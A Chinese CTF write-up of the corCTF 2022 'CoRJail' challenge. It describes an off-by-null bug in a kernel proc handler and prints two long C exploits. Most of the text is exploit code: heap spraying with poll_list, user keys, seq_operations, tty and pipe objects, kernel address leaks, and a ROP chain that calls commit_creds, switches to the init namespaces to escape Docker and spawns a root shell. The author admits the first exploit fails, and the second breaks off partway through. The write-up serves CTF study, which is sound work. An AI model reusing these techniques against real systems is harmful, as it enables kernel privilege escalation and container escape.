[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape

前言

题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux 给了

参考

[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list 利用方式
corCTF-2022:Corjail-内核容器逃逸 – 对题目做了详细的解析

漏洞解析与利用

这里就直接对着源码看了,想分析题目的请阅读上述参考文章。

漏洞出现在 cormon_proc_write 函数中:

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;

    if (offset < 0)
        return -EINVAL;

    if (offset >= PAGE_SIZE || !count)
        return 0;

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len))
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00';

    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }

    kfree(syscalls);

    return count;
}

len = PAGE_SIZE 时,存在 off by null 漏洞,测试发现没有开 cg,所以利用方式很多,但是题目是在容器中并且限制了很多系统调用,比如 msgsnd 等。

这里笔者采用了两种利用方式,第一种就是原作者文章中提出的利用 poll_list 构造任意释放原语,然后利用该原语构造 UAF,详细见原文。这里给出笔者的 exp

这种方式感觉很不稳定,然后我的 exp 存在问题,打不通。但是原作者的 exp 是可以成功打通的。原作者的 exp 可以好好学习一下,里面有很多技巧去稳定堆喷

笔者 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>

#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>

#include <net/if.h>
#include <arpa/inet.h>

struct rcu_head
{
    void *next;
    void *func;
};

struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short      datalen;
    char *data[];
};

struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

struct tty_file_private {
        size_t tty;
        size_t file;
        size_t next;
        size_t prev;
};

int randint(int min, int max)
{
    return min + (rand() % (max - min));
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define PAGE_SIZE 4096
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

// size 为预分配的对象大小
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int fds[0x1000];

struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};

void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}

void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}

void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);

    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }

}

void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }

    poll_threads = 0;
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}

bool is_heap_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFF00000000000;
}

bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}

int fd;
void off_by_null(){
        char buf[PAGE_SIZE] = { 0 };
        write(fd, buf, PAGE_SIZE);
}

#define SPRAY_SEQ_F 2048
#define SPRAY_SEQ_S 128
#define SPRAY_SEQ (SPRAY_SEQ_F+SPRAY_SEQ_S)
#define SPRAY_KEY 199
#define SPRAY_TTY 256
#define SPRAY_PIPE 1024

int seq_fd[SPRAY_SEQ];
int key_id[SPRAY_KEY];
int tty_fd[SPRAY_TTY];
int pipe_fd[SPRAY_PIPE][2];
size_t kbase, koffset;

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        save_status();
        char buf[0x20000] = { 0 };

        fd = open("/proc_rw/cormon", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");

        init_fd(0);

        info("Saturating kmalloc-32 partial slabs...");
        for (int i = 0; i < SPRAY_SEQ_F; i++) {
                seq_fd[i] = open("/proc/self/stat", O_RDONLY);
                if (seq_fd[i] < 0)
                        err_exit("FAILED to open /proc/self/stat at Saturating kmalloc-32 partial slabs");
        }

        info("Spraying user_key_payload in kmalloc-32...");
        for (int i = 0; i < SPRAY_KEY / 3; i++) {
                char value[100] = { 0 };
                char des[8] = { 0 };
                sprintf(des, "%d", i);
                setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
                key_id[i] = key_alloc(des, value, 32-0x18);
                if (key_id[i] < 0) err_exit("FAILED to alloc user key");
        }

        int thread_nums = 22;
        info("Creating poll threads to spray poll_list chain...");
        for (int i = 0; i < thread_nums; i++) {
                create_poll_thread(i, 4096+24, 4000, false);
        }
        while (poll_threads != thread_nums) {}
        sleep(1);

        info("Spraying user_key_payload in kmalloc-32...");
        for (int i = SPRAY_KEY / 3; i < SPRAY_KEY; i++) {
                char value[32] = { 0 };
                char des[8] = { 0 };
                sprintf(des, "%d", i);
                setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
                key_id[i] = key_alloc(des, value, 32-0x18);
                if (key_id[i] < 0) err_exit("FAILED to alloc user key");
        }

        info("Corrupting poll_list next pointer...");
        off_by_null();

        info("Triggering arbitrary free...");
        join_poll_threads();

        info("Overwriting user_key_payload.datalen by spraying seq_operations...");
        for (int i = 0; i < SPRAY_SEQ_S; i++) {
                seq_fd[SPRAY_SEQ_F+i] = open("/proc/self/stat", O_RDONLY);
                if (seq_fd[SPRAY_SEQ_F+i] < 0)
                        err_exit("FAILED to open /proc/self/stat to spray seq_operations");
        }

        info("Leaking kernel addr...");
        int victim_key_i = -1;
        uint64_t proc_single_show = -1;
        for (int i = 0; i < SPRAY_KEY; i++) {
                if (key_read(key_id[i], buf, sizeof(buf)) > 32) {
                        binary_dump("OOB READ DATA", buf, 0x20);
                        victim_key_i = i;
                        proc_single_show = *(uint64_t*)buf;
                        koffset = proc_single_show - 0xffffffff813275c0;
                        kbase = koffset + 0xffffffff81000000;
                        hexx("victim_key_i", i);
                        hexx("proc_single_show", proc_single_show);
                        hexx("koffset", koffset);
                        hexx("kbase", kbase);
                        break;
                }
        }
        if (victim_key_i == -1) err_exit("FAILED to leak kernel addr");

        info("Freeing all user_key_payload...");
        for (int i = 0; i < SPRAY_KEY; i++) {
                if (i != victim_key_i) {
                        key_revoke(key_id[i]);
                        if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
                }
        }

//      info("Freeing partial seq_operations...");
//      for (int i = 0; i < SPRAY_SEQ_S; i += 2) {
//              close(seq_fd[SPRAY_SEQ_F+i]);
//      }

        sleep(1);

        info("Spraying tty_file_private / tty_sturct...");
        for (int i = 0; i < SPRAY_TTY; i++) {
                tty_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);
                if (tty_fd[i] < 0) err_exit("FAILED to open /dev/ptmx");
        }

        info("Leak heap addr by OOB READ tty_file_private.tty_struct...");
        memset(buf, 0, sizeof(buf));
        int len = key_read(key_id[victim_key_i], buf, sizeof(buf));
        hexx("OOB READ len", len);
        struct tty_file_private* tfp;
        struct tty_file_private tfp_data;
        for (size_t i = 0; i < len; i += 8) {
                tfp = (struct tty_file_private*)(&buf[i]);
                if (is_heap_pointer(tfp->tty) && (((tfp->tty) & 0xff) == 0)) {
                        if ((tfp->next == tfp->prev) && (tfp->next != 0)) {
                                if (tfp->tty != tfp->file && tfp->tty != tfp->next) {
                                        binary_dump("tty_file_private", tfp, sizeof(struct tty_file_private));
                                        memcpy(&tfp_data, tfp, sizeof(struct tty_file_private));
                                        break;
                                }
                        }
                }
                tfp = NULL;
        }

        if (tfp == NULL) err_exit("FAILED to leak heap addr");

        uint64_t target_obj = tfp_data.tty;
        hexx("A kmalloc-1k obj addr", target_obj);

//      info("Freeing the rest of seq_operations...");
//      for (int i = 1; i < SPRAY_SEQ_S; i += 2) {
//              close(seq_fd[SPRAY_SEQ_F+i]);
//      }

        info("Freeing all seq_operations...");
        for (int i = 0; i < SPRAY_SEQ_S; i++) {
                close(seq_fd[SPRAY_SEQ_F+i]);
        }
        sleep(1);

        thread_nums = 199;
        info("Creating poll threads to spray poll_list chain...");
        for (int i = 0; i < thread_nums; i++) {
                create_poll_thread(i, 24, 5000, false);
        }
        while (poll_threads != thread_nums) {}
        sleep(1);

        info("Freeing victim key...");
        key_revoke(key_id[victim_key_i]);
        if (key_unlink(key_id[victim_key_i]) < 0) err_exit("FAILED to key_unlink");

        info("Corrupting poll_list next pointer...");
        for (int i = 0; i < SPRAY_KEY - 1; i++) {
                char value[100] = { 0 };
                char des[100] = { 0 };
                *(uint64_t*)value = target_obj - 0x18;
                sprintf(des, "%d", i);
                setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
                key_id[i] = key_alloc(des, value, 32-0x18);
                if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
        }

        info("Freeing all tty_file_private / tty_struct...");
        for (int i = 0; i < SPRAY_TTY; i++) {
                close(tty_fd[i]);
        }

/*      info("Spraying user_key_payload to occupy some kmalloc-1k objs...");
        for (int i = 0; i < SPRAY_KEY; i++) {
                char value[0x1000] = { 0 };
                char des[8] = { 0 };
                sprintf(des, "%d", i);
                key_id[i] = key_alloc(des, value, 1024-0x18);
                if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
        }
        sleep(1);

        info("Freeing some user_key_payload to kmalloc-1k slab...");
        for (int i = 0; i < SPRAY_KEY; i += 2) {
                key_revoke(key_id[i]);
                if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
        }
*/
        info("Spraying pipe_buffer to occupy target obj...");
        for (int i = 0; i < SPRAY_PIPE; i++) {
                if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spray pipe_buffer");
                write(pipe_fd[i][1], "Pwn", 3);
        }

/*      info("Freeing the rest of user_key_payload to kmalloc-1k slab...");
        for (int i = 1; i < SPRAY_KEY; i += 2) {
                key_revoke(key_id[i]);
                if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
        }
*/
        info("Triggering arbitrary free...");
        join_poll_threads();
        sleep(1);

        char* buff = (char *)calloc(1, 1024);

        // Stack pivot
        *(uint64_t *)&buff[0x10] = target_obj + 0x30;             // anon_pipe_buf_ops
        *(uint64_t *)&buff[0x38] = koffset + 0xffffffff81882840;  // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
        *(uint64_t *)&buff[0x66] = koffset + 0xffffffff810007a9;  // pop rsp ; ret
        *(uint64_t *)&buff[0x00] = koffset + 0xffffffff813c6b78;  // add rsp, 0x78 ; ret

        // ROP
        uint64_t* rop = (uint64_t *)&buff[0x80];

        // creds = prepare_kernel_cred(0)
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= 0;                            // 0
        *rop ++= koffset + 0xffffffff810ebc90; // prepare_kernel_cred

        // commit_creds(creds)
        *rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
        *rop ++= 0;                            // 0
        *rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
        *rop ++= koffset + 0xffffffff810eba40; // commit_creds

        // task = find_task_by_vpid(1)
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= 1;                            // pid
        *rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid

        // switch_task_namespaces(task, init_nsproxy)
        *rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
        *rop ++= 0;                            // 0
        *rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
        *rop ++= koffset + 0xffffffff8100051c; // pop rsi ; ret
        *rop ++= koffset + 0xffffffff8245a720; // init_nsproxy;
        *rop ++= koffset + 0xffffffff810ea4e0; // switch_task_namespaces

        // new_fs = copy_fs_struct(init_fs)
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= koffset + 0xffffffff82589740; // init_fs;
        *rop ++= koffset + 0xffffffff812e7350; // copy_fs_struct;
        *rop ++= koffset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

        // current = find_task_by_vpid(getpid())
        *rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
        *rop ++= getpid();                     // pid
        *rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid

        // current->fs = new_fs
        *rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
        *rop ++= 0x6e0;                        // current->fs
        *rop ++= koffset + 0xffffffff8102396f; // add rax, rcx ; ret
        *rop ++= koffset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
        *rop ++= 0;                            // rbx

        // kpti trampoline
        *rop ++= koffset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
        *rop ++= 0;
        *rop ++= 0;
        *rop ++= (uint64_t)&get_root_shell;
        *rop ++= user_cs;
        *rop ++= user_rflags;
        *rop ++= user_sp;
        *rop ++= user_ss;

        info("Freeing all user_key_payload...");
        for (int i = 0; i < SPRAY_KEY - 1; i++) {
                key_revoke(key_id[i]);
                if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
        }
        sleep(1);

        info("Spray ROP chain...");
        for (int i = 0; i < 19; i++) {
                char des[100] = { 0 };
                sprintf(des, "%d", i);
                key_id[i] = key_alloc(des, buff, 1024-0x18);
                if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
        }

        info("Hijacking control flow...");
        for (int i = 0; i < SPRAY_PIPE; i++) {
                close(pipe_fd[i][0]);
                close(pipe_fd[i][1]);
        }
        puts("EXP NERVER END!");
        return 0;
}

效果如下:根本打不通,还是太菜了,最后似乎无法成功拿到 target_object
在这里插入图片描述
原作者 exp:成功率还行,可以接收


#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>

#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>

#include <net/if.h>
#include <arpa/inet.h>

// #define DEBUG 1

#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};


struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};



bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}


void save_state()
{
    __asm__ __volatile__(
        "movq %0, cs;"
        "movq %1, ss;"
        "pushfq;"
        "popq %2;"
        : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}


int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}


void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}


int alloc_key(int id, char *buff, size_t size)
{
	char desc[256] = { 0 };
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    payload = buff ? buff : calloc(1, size);

    if (!buff)
        memset(payload, id, size);    

    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

    if (key < 0)
	{
		perror("[X] add_key()");
		return -1;
	}
    	
    return key;
}


void free_key(int i)
{
	keyctl_revoke(keys[i]);
	keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);
    n_keys--;
}


void free_all_keys(bool skip_corrupted_key)
{
    for (int i = 0; i < n_keys; i++)
    {   
        if (skip_corrupted_key && i == corrupted_key)
            continue;

        free_key(i);
    }

    sleep(1); // GC keys
}


char *get_key(int i, size_t size)
{
	char *data;

	data = calloc(1, size);
	keyctl_read(keys[i], data, size);

	return data;
}


void alloc_pipe_buff(int i)
{
    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }

    if (write(pipes[i][1], "XXXXX", 5) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}


void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


int leak_kernel_pointer(void)
{
    uint64_t *leak;
    char *key;

    for (int i = 0; i < n_keys; i++)
    {
        key = get_key(i, 0x10000);
        leak = (uint64_t *)key;

        if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0)
        {
            corrupted_key = i;
            proc_single_show = *leak;
            kernel_base = proc_single_show - 0xffffffff813275c0;

            printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);
            printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);
            printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);
            
            return 0;
        }
    }

    return -1;
}


int leak_heap_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0x20000);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0x20000/sizeof(uint64_t); i++)
    {
        if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00)
        {   
            if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0)
            {
                target_object = leak[i];
                printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);
                return 0;
            }
        }
    }

    return -1;
}


bool check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return false;
        
    close(fd);
    
    return true;
}


void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}


int main(int argc, char **argv)
{   
    char data[0x1000] = { 0 };
    char key[32] = { 0 };
    uint64_t *rop;
    void *stack;
    char *buff;

    assign_to_core(0);
    save_state();

    stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    fd = open("/proc_rw/cormon", O_RDWR);
    
    if (fd < 0)
    {
        perror("[X] open()");
        return -1;
    }

    init_fd(0);

    puts("[*] Saturating kmalloc-32 partial slabs...");
    for (int i = 0; i < 2048; i++)
        alloc_seq_ops(i);

    puts("[*] Spraying user keys in kmalloc-32...");
    for (int i = 0; i < 72; i++)
    {   
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }
    
    assign_to_core(randint(1, 3));
    
    puts("[*] Creating poll threads...");
    for (int i = 0; i < 14; i++)
        create_poll_thread(i, 4096 + 24, 3000, false);

    assign_to_core(0);

    while (poll_threads != 14) { };
    usleep(250000);

    puts("[*] Spraying more user keys in kmalloc-32...");
    for (int i = 72; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Corrupting poll_list next pointer...");
    write(fd, data, PAGE_SIZE);

    puts("[*] Triggering arbitrary free...");
    join_poll_threads();

    puts("[*] Overwriting user key size / Spraying seq_operations structures...");
    for (int i = 2048; i < 2048 + 128; i++)
        alloc_seq_ops(i);

    puts("[*] Leaking kernel pointer...");
    if (leak_kernel_pointer() < 0)
    {
        puts("[X] Kernel pointer leak failed, try again...");
        exit(1);
    }
    
    puts("[*] Freeing user keys...");
    free_all_keys(true);

    puts("[*] Spraying tty_file_private / tty_struct structures...");
    for (int i = 0; i < 72; i++)
        alloc_tty(i);

    puts("[*] Leaking heap pointer...");
    if (leak_heap_pointer(corrupted_key) < 0)
    {
        puts("[X] Heap pointer leak failed, try again...");
        exit(1);
    }

    puts("[*] Freeing seq_operation structures...");
    for (int i = 2048; i < 2048 + 128; i++)
        free_seq_ops(i);
    
    assign_to_core(randint(1, 3));

    puts("[*] Creating poll threads...");
    for (int i = 0; i < 192; i++)
        create_poll_thread(i, 24, 3000, true);

    assign_to_core(0);
    
    while (poll_threads != 192) { }; 
    usleep(250000);

